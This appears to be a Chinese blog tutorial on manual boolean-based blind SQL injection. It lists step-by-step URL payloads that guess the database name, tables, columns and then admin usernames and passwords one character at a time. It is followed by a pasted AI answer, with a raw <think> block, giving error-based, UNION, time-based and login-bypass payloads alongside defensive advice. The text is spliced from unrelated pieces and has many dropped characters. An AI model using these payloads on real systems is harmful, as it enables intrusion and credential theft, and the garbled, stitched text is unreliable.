布尔盲注手注

本文深入探讨了SQL盲注的基本原理和技术,包括如何利用布尔盲注进行数据库信息的爆破,如数据库名称、表名、字段名及数据的逐字猜解。通过实例演示了如何使用ASCII码和字符串截取函数进行有效攻击。

布尔盲注
mid(str,1,3)字符串截取 意思就是把str这个字符串从第一个字符串开始,截取前三个显示
substr()这个函数和上面的用法一样,也是用来截取字符串的
ORD()转换成ascii码
Length()统计长度
version()是查看数据库版本
database()查看当前数据库名
user() 查看当前用户

猜解数据库名字的时候可以使用ORD(mid(database(),1,1))>1这种截取当前数据库的名字的第一个字符将其转换为ascii码来查看,如果不转换为ascii的话,他可能就是字符,数字和特殊字符,太难猜了。

当进行sql注入的时候:
例如www.aaa.com/a.php?id=1,在这个地方进行过测试后,发现这个get型有注入点后,可以使用www.aaa.com/a.php?id=1’ and (length(database()))>5 --,这种来爆破当前数据库名称的长度,例如当>7页面返回正常,>8页面返回不正常,所以当前数据库名称的长度为8。

然后我们就需要去一个个的爆破数据库名称,www.aaa.com/a.php?id=1’ and ascii(substr(database(),1,1))>100来猜测字母,这个测试出来的是第一个字母的ascii的值,www.aaa.com/a.php?id=1’ and ascii(substr(database(),2,1))>100测试的就是第二个字母了。

第三步就是来爆破当前数据库有多少个表,例如www.aaa.com/a.php?id=1’ and (select count(*)from information_schema.tables where table_schema=database())>1–
来猜测表的数量。

当得知表的数量以后我们肯定就要去爆破表的名称,爆破表的名称和上面爆破数据库的名称一样,就是一个个的爆破字母,首先要得知表名的长度,例如www.aaa.com/a.php?id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5,limit限制的是我们提取的是第一个表的长度,也就是0的意思,后面1的意思是第一个表的意思。
开始测试第一个表的第一个字母,例如www.aaa.com/a.php?id=1’ and (select ascii (substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100 --,然后就是把0换为1就是第二个表的第一个字母开始爆破,然后爆破账号密码都是按照这个模式进行爆破的.

截取当前数据库用户名的第一位字符并返回其ascii值
www.aaa.com/a.php?id=1’and (select ascii(substring((select user()),1,1))=119) –

有了管理表名,下一步就该把该表中的所有字段名都查出来了,依旧是上面的方法
查询’tabl_admin_user’表中的第一个字段名的第一位字符,并返回其对应的ASCII码值,最后确认实际的账号密码字段名分别为’admin_username’,’admin_password’
http://www.aaa.com/a.php?id=1’ and (select ascii(substring((select column_name from information_schema.columns where table_name=0x74626c5f61646d696e5f75736572 limit 0,1),1,1))=97) %23

10,现在管理表名字段名都有了,下一步只需要慢慢把每个字段对应的实际数据查出来即可

获取’admin_username’字段下的第一条记录的第一位字符,并返回其对应的ASCII码值,依次递增,查出完整用户名即可
http://www.aaa.com/a.php?id=1’ and (select ascii(substring((select admin_username from tbl_admin_user limit 0,1),1,1))=119) %23
获取’admin_password’字段下的第一条记录的第一位字符,并返回其对应的ASCII码值,依次递增,查出完整密码数据即可
http:www.aaa.com/a.php?id=1’ and (select ascii(substring((select admin_password from tbl_admin_user limit 0,1),1,1))=49) %23

<think>好的,我现在需要处理用户关于SQL注入动攻击方法和防御技巧的查询。首先,我得回顾一下用户提供的引用内容,看看有哪些相关的信息可以利用。引用1提到了使用sqlmap进行自动化注入,以及防御措施。引用2和4讨论了常见的攻击入口点,比如登录页面、搜索功能,以及如何利用UNION查询进行攻击。引用3详细释了一个具体的注入语句,使用updatexml函数来获取信息。 用户的需求是学习动攻击方法和防御段,所以需要分两部分来回答。首先,动攻击方法部分需要涵盖常见的注入类型,比如基于错误的注入、联合查询注入布尔盲注和时间。然后,防御技巧部分需要包括参数化查询、输入验证、最小权限原则等。 在动攻击方法中,需要详细说明每种攻击的具体步骤和示例。例如,基于错误的注入可以利用数据库报错信息,比如使用updatexml函数触发错误,从而泄露数据。联合查询注入则需要确定列数,然后通过UNION SELECT获取数据。布尔盲注和时间则适用于没有明显错误回显的情况,通过真假的页面响应或时间延迟来判断。 防御方面,参数化查询是最有效的措施,可以防止SQL注入的结构被改变。输入验证和过滤也很重要,比如过滤特殊字符。此外,使用最小权限的数据库账户和错误处理机制也能减少风险。Web应用防火墙(WAF)和定期安全测试也是必要的补充措施。 需要确保回答结构清晰,分点列出,每个部分都有具体的例子和释。同时,引用的内容要自然地融入回答中,比如在讨论错误注入时引用3的例子,或者在提到登录页面攻击时引用2和4的内容。最后,生成的相关问题要覆盖攻击和防御的各个方面,帮助用户进一步深入学习。</think>### SQL注入动攻击方法与防御技巧详 #### 一、SQL注入攻击方法 1. **基于错误的注入** - 核心方法:通过构造特殊输入触发数据库报错,直接获取敏感信息 - 示例攻击: ```sql ' AND updatexml(1,concat(0x7e,(SELECT @@version)),1)-- ``` 该语句利用MySQL的`updatexml`函数触发XML析错误,回显数据库版本信息[^3] 2. **联合查询注入(UNION-based)** - 攻击步骤: 1. 确定字段数量:`' ORDER BY 3--` 2. 判断回显位置:`' UNION SELECT 1,2,3--` 3. 获取数据:`' UNION SELECT user(),database(),version()--` 4. 提取表数据: ```sql -1' UNION SELECT 1,group_concat(username,':',password),3 FROM users-- ``` 该语句通过`group_concat`合并查询结果,常用于登录凭证窃取[^4] 3. **布尔盲注(Boolean-based)** - 原理:通过页面响应判断SQL条件真假 - 示例: ```sql ' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a'-- ``` 逐个字符密码字段值 4. **时间(Time-based)** - 特征:无直接回显时使用时间延迟判断 - 示例: ```sql '; IF (SELECT COUNT(*) FROM users) > 0 WAITFOR DELAY '0:0:5'-- ``` 通过页面响应时间判断条件是否成立 #### 二、关键攻击入口点 1. 登录表单:`' OR 1=1--` 绕过认证[^2] 2. 搜索框:`%' AND 1=0 UNION SELECT 1,@@version,3 -- ` 3. URL参数:`?id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- ` #### 三、防御技巧与实践 1. **参数化查询(Prepared Statements)** - 强制区分代码与数据,例如Python实现: ```python cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) ``` 2. **输入验证与过滤** - 白单验证:对数字类型参数使用类型转换 - 特殊字符过滤:正则表达式过滤`'";<>()`等符号 - 示例正则:`/^[a-zA-Z0-9_@.]+$/` 3. **最小权限原则** - 数据库账户仅授予必要权限 - 禁止使用`root`/`sa`等特权账户连接应用 4. **错误处理机制** - 禁止显示详细错误信息 - 自定义统一错误页面 5. **纵深防御体系** - 部署WAF(Web应用防火墙) - 使用安全框架:如Java Spring Security、PHP Laravel Eloquent ORM - 定期渗透测试:使用sqlmap等工具进行自动化检测[^1] 6. **安全编码规范** ```php // 错误示例 $query = "SELECT * FROM users WHERE name = '$_GET[name]'"; // 正确示例 $stmt = $pdo->prepare("SELECT * FROM users WHERE name = ?"); $stmt->execute([$_GET['name']]); ``` #### 四、实战检测方法 1. 输入单引号`'`测试错误回显 2. 使用`AND 1=1`与`AND 1=2`比较响应差异 3. 测试时间延迟语句响应时间
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值